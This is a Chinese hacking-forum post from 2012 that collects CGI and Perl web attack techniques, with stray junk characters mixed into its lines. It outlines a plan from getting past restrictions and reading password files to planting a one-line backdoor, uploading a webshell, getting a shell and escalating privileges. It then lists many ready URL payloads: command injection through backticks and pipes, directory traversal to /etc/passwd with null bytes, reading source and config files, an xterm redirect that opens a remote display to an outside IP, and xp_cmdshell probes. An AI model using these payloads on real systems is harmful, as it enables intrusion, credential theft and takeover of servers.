找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2886|回复: 0
打印 上一主题 下一主题

CGI资料整理

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:56:16 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着  # G6 h' j( S! N  u
cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权  
* G  x& j; f$ _& g+ v; i4 v( R感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们  
( d6 Z: o5 j) K1 u5 c注“  
* H7 X- y* }1 Yperl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。  ; G; J, Y8 I; c8 y% B# ]; T2 |* g" t
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET  + g$ r2 ^+ V: z  ]4 Z' C

& @1 Z1 F) i6 S! n4 {: t! o. Zhttp://target.com/cgi-bin/home/news/sub.pl?12 随意构造  
, F: a- _; x% w. Q. t3 whttp://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢  
/ h: Z1 T: [$ Q$ V, |% ^2 `" ]http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号  
' A2 O* c+ r4 D- {  k% |http://target.com/cgi-bin/home/news/sub.pl?`id`  + V1 L' l/ L8 Q- X7 }7 f
http://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`  
4 j  ?; N4 y  U$ J+ A! M) N' Zhttp://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示  
: Z# @. d& a2 ^( w# T0 F1 ~; _/ B0 H% Y  U! Z3 [! M! `$ e3 z; @/ V1 u
http://target.com/test.pl;ls|  
9 M- t$ z  Y- J6 U! Q6 H* ]' ]http://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|  ) S+ _2 d( ?8 r# E& ?6 f! E) c) p
http://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|  
' c6 B8 w! v, C# f/ @http://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造  3 D1 A+ _+ h1 L1 G$ V
比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。  
$ {2 q: B0 \9 ?- A% O* r. {http://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection  
5 `+ q( K% W2 B$ R* W
" w1 {, y. \# v  h9 @http://target.com/test.pl?&........ /../../etc/passwd  
9 S+ T+ T# o5 |+ y1 c. u
. H: d. C- Y8 H- d) f* _http://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./  
0 w! O( w! d' z( [( x; Rhttp://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了  
& i# b! H3 P2 a; h- r3 Z7 x0 Qhttp://www.target.org/cgi-bin/cl ... ../../etc/passwd%00  
# Y+ v& ^6 H9 B8 z* Y+ b0 W  C9 Y  g% T
http://www.target.org/show.php?f ... /include/config.php 查看php代码  
& [2 g9 F8 ?5 m* T/ T% Rhttp://www.target.org/show.php?f ... ng/admin/global.php  / W9 B3 `" P% [1 Q" o
. L9 @& A' y# b
emm和ps的一句话1 ~1 {) [" X. p5 `- Y/ E  C
* \" A$ d6 e; G! g
http://www.target.org/cgi-bin/cl ... /../../../bin/ls%20  9 o& J% }8 b/ y. }5 g

( m6 X3 M! q, K, f8 T% _2 r>bbb%20|  % j+ J' O: r5 V9 e

. v+ N* C# R! U" |7 q* H2 E, g, Zhttp://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串  
- Q6 w7 D, |# _9 y% ]' x6 o! }# n1 e# v) t2 J- B& S0 o
http://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征  / [( H- o) H9 G! `: c
http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin  7 j, |. |9 L! k5 X
( l! H' \& l- w: L' J9 h
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法  
) B: W9 y6 A% g3 r9 P$ r, p9 ~/ Mhttp://target.com/index.html#cmd.exe  
, J( s7 v- I2 c, ~) Yhttp://target.com/index.html?dummyparam=xp_cmdshell  % K, A; W) o! p1 u) D3 C  s$ k; ]
lynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd  ! f+ G( y3 Z) H: N7 C% _
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表